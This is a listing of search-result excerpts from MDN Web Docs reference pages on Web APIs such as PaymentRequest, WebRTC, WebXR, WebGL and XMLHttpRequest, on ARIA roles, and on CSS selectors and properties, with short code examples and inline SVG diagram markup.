when the paymentrequest.onshippingaddresschange is called, updatedetails() is called to update the details of the paymentrequest, using shippingaddress to set the correct shipping cost.
... var payment = new paymentrequest(supportedinstruments, details, options); request.addeventlistener('shippingaddresschange', function(evt) { evt.updatewith(new promise(function(resolve) { updatedetails(details, request.shippingaddress, resolve); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of brevity.
... }).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); function updatedetails(details, shippingaddress, resolve) { if (shippingaddress.country === 'us') { var shippingoption = { id: '', label: '', amount: {currency: 'usd', value: '0.00'}, selected: true }; if (shippingaddress.region === 'mo') { shippingoption.id = 'mo'; shippingoption.label = 'free shipping in missouri'; details.total.amount.value = '55.00'; } else { shippingoption.id = 'us'; shippingoption.label = 'standard shipping in us'; shippingoption.amount.value = '5.00'; details.total.amount.value = '60.00'; } details.displayitems.splice(2, 1, shippingoption); details.shippingoptions = [shippingoption...
...And 5 more matches
PaymentResponse.shippingOption - Web APIs
syntax var shippingoption = paymentrequest.shippingoption; example in the example below, the paymentrequest.onshippingaoptionchange event is called.
...var payment = new paymentrequest(supportedinstruments, details, options); request.addeventlistener('shippingoptionchange', function(evt) { evt.updatewith(new promise(function(resolve, reject) { updatedetails(details, request.shippingoption, resolve, reject); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of brevity.
... }).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); function updatedetails(details, shippingoption, resolve, reject) { var selectedshippingoption; var othershippingoption; if (shippingoption === 'standard') { selectedshippingoption = details.shippingoptions[0]; othershippingoption = details.shippingoptions[1]; details.total.amount.value = '55.00'; } else if (shippingoption === 'express') { selectedshippingoption = details.shippingoptions[1]; othershippingoption = details.shippingoptions[0]; details.total.amount.value = '67.00'; } else { reject('unknown shipping option \'' + shippingoption + '\''); return; } selectedshippingoption.selected = true; othershippingoption.selected = false; details.displayit...
...And 5 more matches
RTCErrorEvent.error - Web APIs
the read-only rtcerrorevent property error contains an rtcerror object describing the details of the error which the event is announcing.
... syntax let errorinfo = rtcerrorevent.error; value an rtcerror object whose properties provide details about the error which has occurred in the context of a webrtc operation.
... receivedalert read only an unsigned long integer value indicating the fatal dtls error which was received from the network.
...And 5 more matches
RTCIceCandidate.usernameFragment - Web APIs
the string may be up to 256 characters long, and has no default value.
...the specifics for which bits are random and what the remainder of the ufrag text are are left up to the browser implementation to decide.
... for example, a browser might choose to always use a 24-character ufrag in which bit 4 of each character is randomly selected between 0 and 1.
...And 5 more matches
RTCIceTransport.getSelectedCandidatePair() - Web APIs
the rtcicetransport method getselectedcandidatepair() returns an rtcicecandidatepair object containing the current best-choice pair of ice candidates describing the configuration of the endpoints of the transport.
... usage notes as the ice agent performs negotiation of a rtcpeerconnection, it gathers and analyzes candidate configurations from each the two peers.
... as soon as it finds an acceptable matching pair of candidates, meeting the requirements for the connection, a selectedcandidatepairchange event is fired at the rtcicetransport.
...And 5 more matches
RTCPeerConnection.setConfiguration() - Web APIs
this lets you change the ice servers used by the connection and which transport policies to use.
...two potential scenarios in which this might be done: the rtcpeerconnection was instantiated without specifying any ice servers.
...in this situation, one might call setconfiguration() to switch to new regional ice servers, then initiate an ice restart.
...And 5 more matches
RTCPeerConnection.signalingState - Web APIs
because the signaling process is a state machine, being able to verify that your code is in the expected state when messages arrive can help avoid unexpected and avoidable failures.
...your code will be more reliable if you watch for mismatched states like this and handle them gracefully.
... in addition, when the value of this property changes, a signalingstatechange event is sent to the rtcpeerconnection instance.
...And 5 more matches
RTCRtpTransceiver.setCodecPreferences() - Web APIs
the rtcrtptransceiver method setcodecpreferences() configures the transceiver's codecs given a list of rtcrtpcodeccapability objects specifying the new preferences for each codec.
... when preparing to open an rtcpeerconnection, you can change the codec parameters from the user agent's default configuration by calling setcodecparameters() before calling either rtcpeerconnection.createoffer() or createanswer().
... a guide to codecs supported by webrtc—and each codec's positive and negative characteristics—can be found in codecs used by webrtc.
...And 5 more matches
ReadableStreamDefaultReader.cancel() - Web APIs
the supplied reason argument will be given to the underlying source, which may or may not use it.
... cancel is used when you've completely finished with the stream and don't need any more data from it, even if there are chunks enqueued waiting to be read.
...to read those chunks still and not completely get rid of the stream, you'd use readablestreamdefaultcontroller.close().
...And 5 more matches
ResizeObserver - Web APIs
the resizeobserver interface reports changes to the dimensions of an element's content or border box, or the bounding box of an svgelement.
... note: the content box is the box in which content can be placed, meaning the border box minus the padding and border width.
... examples in the resize-observer-text.html (see source) example, we use the resize observer to change the font-size of a header and paragraph as a slider’s value is changed causing the containing <div> to change width.
...And 5 more matches
Response.redirected - Web APIs
the read-only redirected property of the response interface indicates whether or not the response is the result of a request you made which was redirected.
...instead, you should actually instead do the filtering when you call fetch().
... see the example disallowing redirects, which shows this being done.
...And 5 more matches
SVGImageElement.decoding - Web APIs
possible values are: sync: decode the image synchronously for atomic presentation with other content.
... async: decode the image asynchronously to reduce delay in presenting other content.
... auto: default mode, which indicates no preference for the decoding mode.
...And 5 more matches
SVGLength - Web APIs
WebAPISVGLength
an svglength object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
...cifiedunits + ", valueasstring: " + val.valueasstring); // set x = 20pt and read it out in pixel and pt units val.newvaluespecifiedunits(svglength.svg_lengthtype_pt, 20); console.log("value: " + val.value + ", valueinspecifiedunits " + val.unittype + ": " + val.valueinspecifiedunits + ", valueasstring: " + val.valueasstring); // convert x = 20pt to inches and read out in pixel and inch units val.converttospecifiedunits(svglength.svg_lengthtype_in); console.log("value: " + val.value + ", valueinspecifiedunits " + val.unittype + ": " + val.valueinspecifiedunits + ", valueasstring: " + val.valueasstring); } ]]></script> <rect id="myrect" x="1cm" y="1cm" fill="green" stroke="black" stroke-width="1" ...
...it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
...And 5 more matches
SVGPathElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
...And 5 more matches
SVGPreserveAspectRatio - Web APIs
svg preserveaspectratio interface the svgpreserveaspectratio interface corresponds to the preserveaspectratio attribute, which is available for some of svg's elements.
... an svgpreserveaspectratio object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
...it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
...And 5 more matches
Screen Orientation API - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscreenorientationchrome full support 38edge full support 79firefox full support 43ie no support noopera full support 25safari no support nowebview android full support 38chrome android full support 38firefox android full support 43opera an...
...droid full support 25safari ios no support nosamsung internet android full support 3.0anglechrome full support 38edge full support 79firefox full support 43ie no support noopera full support 25safari no support nowebview android full support 38chrome android full support 38firefox android f...
...And 5 more matches
Selection.extend() - Web APIs
WebAPISelectionextend
the anchor of the selection does not move.
... the selection will be from the anchor to the new focus, regardless of direction.
... syntax sel.extend(node, offset) parameters node the node within which the focus will be moved.
...And 5 more matches
ServiceWorkerRegistration - Web APIs
serviceworkerregistration.sync read only returns a reference to the syncmanager interface, which manages background synchronization processes.
... unimplemented properties serviceworkerregistration.periodicsync read only returns a reference to the periodicsyncmanager interface, which manages periodic background synchronization processes.
... serviceworkerregistration.update() checks the server for an updated version of the service worker without consulting caches.
...And 5 more matches
TextTrackList - Web APIs
the texttracklist interface is used to represent a list of the text tracks defined by the <track> element, with each track represented by a separate texttrack object in the list.
...the individual tracks can be accessed using array syntax or functions such as foreach() for example.
... onchange an event handler to be called when the change event occurs.
...And 5 more matches
UIEvent - Web APIs
WebAPIUIEvent
several interfaces are direct or indirect descendants of this one: mouseevent, touchevent, focusevent, keyboardevent, wheelevent, inputevent, and compositionevent.
...ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,...
...monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">uievent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructors uievent() creates a uievent object.
...And 5 more matches
VideoTrackList - Web APIs
the videotracklist interface is used to represent a list of the video tracks contained within a <video> element, with each track represented by a separate videotrack object in the list.
...the individual tracks can be accessed using array syntax or functions such as foreach() for example.
... onchange an event handler to be called when the change event occurs — that is, when the value of the selected property for a track has changed, due to the track being made active or inactive.
...And 5 more matches
WEBGL_compressed_texture_etc - Web APIs
ext.compressed_r11_eac one-channel (red) unsigned format compression.
... ext.compressed_signed_r11_eac one-channel (red) signed format compression.
... ext.compressed_rg11_eac two-channel (red and green) unsigned format compression.
...And 5 more matches
WebGL2RenderingContext.invalidateFramebuffer() - Web APIs
the webgl2renderingcontext.invalidateframebuffer() method of the webgl 2 api invalidates the contents of attachments in a framebuffer.
... syntax void gl.invalidateframebuffer(target, attachments); parameters target a glenum specifying the binding point (target).
... attachments an array of glenum specifying the attachment points to invalidate.
...And 5 more matches
WebGL2RenderingContext.invalidateSubFramebuffer() - Web APIs
the webgl2renderingcontext.invalidatesubframebuffer() method of the webgl 2 api invalidates portions of the contents of attachments in a framebuffer.
... syntax void gl.invalidatesubframebuffer(target, attachments, x, y, width, height); parameters target a glenum specifying the binding point (target).
... attachments an array of glenum specifying the attachment points to invalidate.
...And 5 more matches
WebGLRenderingContext.getUniformLocation() - Web APIs
part of the webgl api, the webglrenderingcontext method getuniformlocation() returns the location of a specific uniform variable which is part of a given webglprogram.
... the uniform variable is returned as a webgluniformlocation object, which is an opaque identifier used to specify where in the gpu's memory that uniform variable is located.
... uniform[1234][fi][v]() sets the uniform's value to the specified value, which may be a single floating point or integer number, or a 2-4 component vector specified either as a list of values or as a float32array or int32array.
...And 5 more matches
WebXR application life cycle - Web APIs
this serves as preparation for the next few articles in these webxr guides, which cover starting up and shutting down a webxr session, geometry, simulating cameras, spatial tracking, and more.
... life cycle outline most applications using webxr will follow a similar overall design pattern: check to see if the user's device and browser are both capable of presenting the xr experience you want to provide.
... call the xrsession method requestanimationframe() to schedule the first frame render for the xr device.
...And 5 more matches
Window.customElements - Web APIs
the customelements read-only property of the window interface returns a reference to the customelementregistry object, which can be used to register new custom elements and get information about previously registered custom elements.
...indow.customelements; customelementregistry.define('my-custom-element', mycustomelement); however, it is usually shortened to something like the following: customelements.define('element-details', class extends htmlelement { constructor() { super(); const template = document .getelementbyid('element-details-template') .content; const shadowroot = this.attachshadow({mode: 'open'}) .appendchild(template.clonenode(true)); } } ); see our web-components-examples repo for more usage examples.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 5 more matches
WritableStreamDefaultWriter.close() - Web APIs
the underlying sink will finish processing any previously-written chunks, before invoking the close behavior.
... return value a promise, which fulfills with the undefined if all remaining chunks were successfully written before the close, or rejects with an error if a problem was encountered during the process.
...inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter.
...And 5 more matches
Sending and Receiving Binary Data - Web APIs
receiving binary data using javascript typed arrays the responsetype property of the xmlhttprequest object can be set to change the expected response type from the server.
... var oreq = new xmlhttprequest(); oreq.open("get", "/myfile.png", true); oreq.responsetype = "arraybuffer"; oreq.onload = function (oevent) { var arraybuffer = oreq.response; // note: not oreq.responsetext if (arraybuffer) { var bytearray = new uint8array(arraybuffer); for (var i = 0; i < bytearray.bytelength; i++) { // do something with each byte in the array } } }; oreq.send(null); you can also read a binary file as a blob by setting the string "blob" to the responsetype property.
... function load_binary_resource(url) { var req = new xmlhttprequest(); req.open('get', url, false); //xhr binary charset opt by marcus granado 2006 [http://mgran.blogspot.com] req.overridemimetype('text\/plain; charset=x-user-defined'); req.send(null); if (req.status != 200) return ''; return req.responsetext; } the magic happens in line 5, which overrides the mime type, forcing the browser to treat it as plain text, using a user-defined character set.
...And 5 more matches
XMLHttpRequest.responseType - Web APIs
it also lets the author change the response type.
... syntax var type = xmlhttprequest.responsetype; xmlhttprequest.responsetype = type; value a string taken from the xmlhttprequestresponsetype enum which specifies what type of data the response contains.
...see html in xmlhttprequest to learn more about using xhr to fetch html content.
...And 5 more matches
XPathResult - Web APIs
xpathresult.singlenodevalueread only a node representing the value of the single node result, which may be null.
... unordered_node_iterator_type 4 a result node-set containing all the nodes matching the expression.
... ordered_node_iterator_type 5 a result node-set containing all the nodes matching the expression.
...And 5 more matches
XRPermissionDescriptor.optionalFeatures - Web APIs
the xrpermissiondescriptor dictionary's optionalfeatures property is used to specify a list of webxr features which your app or site would like to use but can operate without if permission isn't granted to use them.
...the "interface" column in the table below indicates which of the two types is returned for each reference space type constant..
... reference space descriptors the types of reference space are listed in the table below, with brief information about their use cases and which interface is used to implement them.
...And 5 more matches
XRSession.environmentBlendMode - Web APIs
this is used to differentiate between fully-immersive vr sessions and ar sessions which render over a pass-through image of the real world, possibly partially transparently.
... the value is a domstring which contains one of the values defined by the xrenvironmentblendmode enumerated type.
... important: environmentblendmode is part of the webxr augmented reality module, which has not yet reached a stable state.
...And 5 more matches
XRSession.requestAnimationFrame() - Web APIs
the xrsession method requestanimationframe(), much like the window method of the same name, schedules a callback to be executed the next time the browser is ready to paint the session's virtual environment to the xr display.
... you can cancel a previously scheduled animation by calling cancelanimationframe().
... note: despite the obvious similarities between these methods and the global requestanimationframe() function provided by the window interface, you must not treat these as interchangeable.
...And 5 more matches
XRSession: selectend event - Web APIs
primary actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
... in this case, a single function is used to handle all three events, allowing them to share certain code that's the same regardless of which of the three events is received.
... only after completing those tasks does the onselectionevent() function below dispatch the action out to a specialized function to handle things.
...And 5 more matches
XRSession: selectstart event - Web APIs
primary actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
... in this case, a single function is used to handle all three events, allowing them to share certain code that's the same regardless of which of the three events is received.
... only after completing those tasks does the onselectionevent() function below dispatch the action out to a specialized function to handle things.
...And 5 more matches
XRSession: squeezeend event - Web APIs
primary squeeze actions include things like users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer.
... in this case, a single function is used to handle all three events, allowing them to share certain code that's the same regardless of which of the three events is received.
... only after completing those tasks does the onsqueezeevent() function below dispatch the action out to a specialized function to handle things.
...And 5 more matches
XRSession: squeezestart event - Web APIs
primary squeeze actions are actions which are meant to represent gripping or squeezing using your hands, and may be simulated using triggers on hand controllers.
... in this case, a single function is used to handle all three events, allowing them to share certain code that's the same regardless of which of the three events is received.
... only after completing those tasks does the onsqueezeevent() function below dispatch the action out to a specialized function to handle things.
...And 5 more matches
XRSystem - Web APIs
WebAPIXRSystem
the webxr device api interface xrsystem provides methods which let you get access to an xrsession object representing a webxr session.
... methods in addition to inheriting methods from its parent interface, eventtarget, the xrsystem interface includes the following methods: issessionsupported() returns a promise which resolves to true if the browser supports the given xrsessionmode.
... events devicechange sent when the set of available xr devices has changed.
...And 5 more matches
XRView.transform - Web APIs
WebAPIXRViewtransform
the read-only transform property of the xrview interface is an xrrigidtransform object which provides the position and orientation of the viewpoint relative to the xrreferencespace specified when the xrframe.getviewerpose() method was called to obtain the view object.
... examples for each view making up the presented scene, the view's transform represents the position and orientation of the viewer or camera relative to the reference space's origin.
... in this example, we see an outline of a code fragment used while rendering an xrframe, which makes use of the view transform to place objects in the world during rendering.
...And 5 more matches
XRWebGLLayer.framebuffer - Web APIs
the read-only xrwebgllayer property framebuffer is an opaque webglframebuffer which is used to buffer the rendered image if the xr compositor is being used.
... syntax let framebuffer = xrwebgllayer.framebuffer; value a webglframebuffer object representing the framebuffer into which the 3d scene is being rendered, or null if the xr compositor is disabled for the session.
...as such, its behavior is different in several ways from a standard webgl context.
...And 5 more matches
XRWebGLLayerInit - Web APIs
the constructor's optional layerinit parameter takes an object which must conform to this dictionary.
... properties alpha optional the frame buffer's color buffer will be established with an alpha channel if the alpha boolean property is true.
... otherwise, the color buffer will not have an alpha channel.
...And 5 more matches
Generating HTML - Web APIs
the second example will transform the input document (example2.xml), which again contains information about an article, into an html document.
... </xsl:stylesheet version="1.0"> a template matching the root node of the xml document is created and used to create the basic structure of the html page.
... <xsl:template match="/"> <html> <head> <title> <xsl:value-of select="/myns:article/myns:title"/> </title> <style type="text/css"> .mybox {margin:10px 155px 0 50px; border: 1px dotted #639ace; padding:0 5px 0 5px;} </style> </head> <body> <p class="mybox"> <span class="title"> <xsl:value-of select="/myns:article/myns:title"/> </span> </br> authors: <br /> <xsl:apply-templates select="/myns:article/myns:authors/myns:author"/> </p> <p class="mybox"> <xsl:apply-templates select="//myns:body"/> </p> </body> </html> </xsl:template> ...
...And 5 more matches
Using the alertdialog role - Accessibility
description this technique demonstrates how to use the alertdialog role.
...this means that most of the instructions provided in the 'using the dialog role' technique are applicable to the alertdialog role as well: the alert dialog must always be given an accessible name (through aria-labelledby or aria-label) , and in most cases the alert text will have to be marked up as the alert dialog's accessible description (using aria-describedby).
...additionally, alert dialogs can have other interactive controls such as text fields, tabs or checkboxes.
...And 5 more matches
Using the aria-hidden attribute - Accessibility
this technique demonstrates how to use the aria-hidden attribute.
... description adding aria-hidden="true" to an element removes that element and all of its children from the accessibility tree.
... this can improve the experience for assistive technology users by hiding: purely decorative content, such as icons or images duplicated content, such as repeated text offscreen or collapsed content, such as menus according to the fourth rule of aria, aria-hidden="true" should not be used on a focusable element.
...And 5 more matches
Using the status role - Accessibility
description this technique demonstrates how to use the status role and describes the effect it has on browsers and assistive technology.
...when the role is added to an element, the browser will send out an accessible status event to assistive technology products which can then notify the user about it.
... assistive technologies may reserve some cells of a braille display to render the status.
...And 5 more matches
ARIA: cell role - Accessibility
each element with role="cell" must be nested in a container element with role="row".
... role="table" one of the three possible contexts (along with grid and treegrid) in which you'll find a row containing cells.
... role="grid" one of the three possible contexts (along with table and treegrid) in which you'll find a row containing cells and gridcells.
...And 5 more matches
ARIA: Navigation Role - Accessibility
if a page includes more than one navigation landmark, each should have a unique label.
... if two or more navigational landmark on a page have the same set of links, use the same label for each.
...if the html5 nav element technique is not being used, use a role="navigation" attribute to define a navigation landmark.
...And 5 more matches
::before (:before) - CSS: Cascading Style Sheets
WebCSS::before
in css, ::before creates a pseudo-element that is the first child of the selected element.
... /* add a heart before links */ a::before { content: "♥"; } note: the pseudo-elements generated by ::before and ::after are contained by the element's formatting box, and thus don't apply to replaced elements such as <img>, or to <br> elements.
...here we use both ::before and ::after to insert quotation characters.
...And 5 more matches
::slotted() - CSS: Cascading Style Sheets
WebCSS::slotted
| <id-selector> = <hash-token><class-selector> = '.' <ident-token><attribute-selector> = '[' <wq-name> ']' | '[' <wq-name> <attr-matcher> [ <string-token> | <ident-token> ] <attr-modifier>?
... ']'where <attr-matcher> = [ '~' | | | '^' | '$' | '*' ]?
...me="person-occupation">occupation missing</slot></li> </ul> </div> </template> a custom element — <person-details> — is defined like so: customelements.define('person-details', class extends htmlelement { constructor() { super(); let template = document.getelementbyid('person-template'); let templatecontent = template.content; const shadowroot = this.attachshadow({mode: 'open'}); let style = document.createelement('style'); style.textcontent = 'div { padding: 10px; border: 1px solid gray; width: 200px; margin: 10px; }' + 'h2 { margin: 0 0 10px; }' + 'ul { margin: 0; }' + 'p { margin: 10px 0; }' + '::slotted(*) { color: gray; font-...
...And 5 more matches
:empty - CSS: Cascading Style Sheets
WebCSS:empty
the :empty css pseudo-class represents any element that has no children.
... children can be either element nodes or text (including whitespace).
... note: in selectors level 4 the :empty pseudo-class was changed to act like :-moz-only-whitespace, but no browser currently supports this yet.
...And 5 more matches
:host() - CSS: Cascading Style Sheets
WebCSS:host()
the :host() css pseudo-class function selects the shadow host of the shadow dom containing the css it is used inside (so you can select a custom element from inside its shadow dom) — but only if the selector given as the function's parameter matches the shadow host.
... /* selects a shadow root host, only if it is matched by the selector argument */ :host(.special-custom-element) { font-weight: bold; } syntax :host( <compound-selector-list> )where <compound-selector-list> = <compound-selector>#where <compound-selector> = [ <type-selector>?
... | <id-selector> = <hash-token><class-selector> = '.' <ident-token><attribute-selector> = '[' <wq-name> ']' | '[' <wq-name> <attr-matcher> [ <string-token> | <ident-token> ] <attr-modifier>?
...And 5 more matches
:not() - CSS: Cascading Style Sheets
WebCSS:not
the :not() css pseudo-class represents elements that do not match a list of selectors.
... | <id-selector> = <hash-token><class-selector> = '.' <ident-token><attribute-selector> = '[' <wq-name> ']' | '[' <wq-name> <attr-matcher> [ <string-token> | <ident-token> ] <attr-modifier>?
... ']'where <attr-matcher> = [ '~' | | | '^' | '$' | '*' ]?
...And 5 more matches
unicode-range - CSS: Cascading Style Sheets
the unicode-range css descriptor sets the specific range of characters to be used from a font defined by @font-face and made available for use on the current page.
... if the page doesn't use any character in this range, the font is not downloaded; if it uses at least one, the whole font is downloaded.
... syntax /* <unicode-range> values */ unicode-range: u+26; /* single codepoint */ unicode-range: u+0-7f; unicode-range: u+0025-00ff; /* codepoint range */ unicode-range: u+4??; /* wildcard range */ unicode-range: u+0025-00ff, u+4??; /* multiple values */ values single codepoint a single unicode character code point, for example u+26.
...And 5 more matches
any-pointer - CSS: Cascading Style Sheets
the any-pointer css media feature tests whether the user has any pointing device (such as a mouse), and if so, how accurate it is.
... syntax the any-pointer feature is specified as a keyword value chosen from the list below.
... coarse at least one input mechanism includes a pointing device of limited accuracy.
...And 5 more matches
Spanning and Balancing Columns - CSS: Cascading Style Sheets
any descendant element of the multicol container may become a spanner including both direct and indirect children.
... things to watch out for if the spanning element is inside another element which has margins, padding and a border or a background color, it is possible to end up with the top of the box appearing above the spanner and the rest displaying below, as shown in the next example.
...filling and balancing comes into play when the amount of content does not match the amount of space provided, such as when a height is declared on the container.
...And 5 more matches
Layout using named grid lines - CSS: Cascading Style Sheets
you might choose to name just some key lines for your layout.
...naming lines is useful when creating a responsive design where you redefine the grid, rather than then needing to redefine the content position by changing the line number in your media queries, you can ensure that the line is always named the same in your definitions.
...when choosing the name you need to avoid words that might appear in the specification and be confusing - such as span.
...And 5 more matches
Consistent list indentation - CSS: Cascading Style Sheets
one of the most common style changes made to lists is a change in the indentation distance—that is, how far the list items are pushed over to the right.
...they're sort of like appendages to the list items, hanging outside the content-area of the <li> but still attached to the <li>.
...if it's changed to inside, then the markers are brought inside the <li>'s content, as though they're an inline box placed at the very beginning of the <li>.
...And 5 more matches
Column layouts - CSS: Cascading Style Sheets
you will often need to create a layout which has a number of columns, and css provides several ways to do this.
... whether you use grid, flexbox or multi-column layout will depend on what you are trying to achieve, and in this recipe we explore these options.
... requirements there are a number of design patterns you might want to achieve with your columns: a continuous thread of content broken up into newspaper-style columns.
...And 5 more matches
Recipe: Media objects - CSS: Cascading Style Sheets
requirements media object pattern needs some or all of the following characteristics: stacked on mobile, two columns on desktop.
... the media object should clear the contents no matter which side is tallest.
... the recipe download this example choices made i have chosen to use grid layout for the media object as it allows me to control the layout in two dimensions when i need to.
...And 5 more matches
Privacy and the :visited selector - CSS: Cascading Style Sheets
this was done through window.getcomputedstyle and other techniques.
... little white lies to preserve users' privacy, firefox and other browsers will lie to web applications under certain circumstances: the window.getcomputedstyle method, and similar functions such as element.queryselector, will always return values indicating that a user has never visited any of the links on a page.
... if you use a sibling selector such as :visited + span, the adjacent element (span in this example) will be styled as if the link were unvisited.
...And 5 more matches
CSS Tutorials - CSS: Cascading Style Sheets
WebCSSTutorials
they are grouped by complexity so that you can choose the most appropriate for your level.
... using multiple backgrounds backgrounds are fundamental for nice styling: css allows you to set several of them on each box.
... this tutorial explains how they interact and how to achieve nice effects.
...And 5 more matches
align-self - CSS: Cascading Style Sheets
f: end; /* put the item at the end */ align-self: self-start; /* align the item flush at the start */ align-self: self-end; /* align the item flush at the end */ align-self: flex-start; /* put the flex item at the start */ align-self: flex-end; /* put the flex item at the end */ /* baseline alignment */ align-self: baseline; align-self: first baseline; align-self: last baseline; align-self: stretch; /* stretch 'auto'-sized items to fit the container */ /* overflow alignment */ align-self: safe center; align-self: unsafe center; /* global values */ align-self: inherit; align-self: initial; align-self: unset; values auto computes to the parent's align-items value.
... normal the effect of this keyword is dependent of the layout mode we are in: in absolutely-positioned layouts, the keyword behaves like start on replaced absolutely-positioned boxes, and as stretch on all other absolutely-positioned boxes.
... in static position of absolutely-positioned layouts, the keyword behaves as stretch.
...And 5 more matches
animation-delay - CSS: Cascading Style Sheets
syntax /* single animation */ animation-delay: 3s; animation-delay: 0s; animation-delay: -1500ms; /* multiple animations */ animation-delay: 2.1s, 480ms; values <time> the time offset, from the moment at which the animation is applied to the element, at which the animation should begin.
...a value of 0s, which is the default, indicates that the animation should begin as soon as it's applied.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 5 more matches
border-image-slice - CSS: Cascading Style Sheets
the above diagram illustrates the location of each region.
...each one is used a single time to form the corners of the final border image.
...these are repeated, scaled, or otherwise modified in the final border image to match the dimensions of the element.
...And 5 more matches
box-align - CSS: Cascading Style Sheets
WebCSSbox-align
/* keyword values */ box-align: start; box-align: center; box-align: end; box-align: baseline; box-align: stretch; /* global values */ box-lines: inherit; box-lines: initial; box-lines: unset; the direction of layout depends on the element's orientation: horizontal or vertical.
... stretch the box stretches the contents so that there is no extra space in the box.
... formal definition initial valuestretchapplies toelements with a css display value of box or inline-boxinheritednocomputed valueas specifiedanimation typediscrete formal syntax start | center | end | baseline | stretch examples setting box alignment <!doctype html> <html> <head> <title>css box-align example</title> <style> div.example { display: box; /* as specified */ display: -moz-box; /* mozilla */ display: -webkit-box; /* webkit ...
...And 5 more matches
<easing-function> - CSS: Cascading Style Sheets
the <easing-function> css data type denotes a mathematical function that describes how fast one-dimensional values change during animations.
...for some properties, such as left or right, this creates a kind of "bouncing" effect.
... ease-in the animation starts slowly, and then progressively speeds up until the end, at which point it stops abruptly.
...And 5 more matches
font-style - CSS: Cascading Style Sheets
syntax font-style: normal; font-style: italic; font-style: oblique; font-style: oblique 10deg; /* global values */ font-style: inherit; font-style: initial; font-style: unset; the font-style property is specified as a single keyword chosen from the list of values below, which can optionally include an angle if the keyword is oblique.
...if one or more oblique faces are available in the chosen font family, the one that most closely matches the specified angle is chosen.
... in general, for a requested angle of 14 degrees or greater, larger angles are prefered; otherwise, smaller angles are preferred (see the spec's font matching section for the precise algorithm).
...And 5 more matches
image-set() - CSS: Cascading Style Sheets
WebCSSimage-set
the image-set() function delivers the most appropriate image resolution for a user’s device, providing a set of image options — each with an associated resolution declaration — from which the browser picks the most appropriate for the device and settings.
... image-set() allows the author to provide options rather than determining what each individual user needs.
... <resolution> units include x or dppx, for dots per pixel unit, dpi, for dots per inch, and dpcm for dots per centimeter.
...And 5 more matches
<image> - CSS: Cascading Style Sheets
WebCSSimage
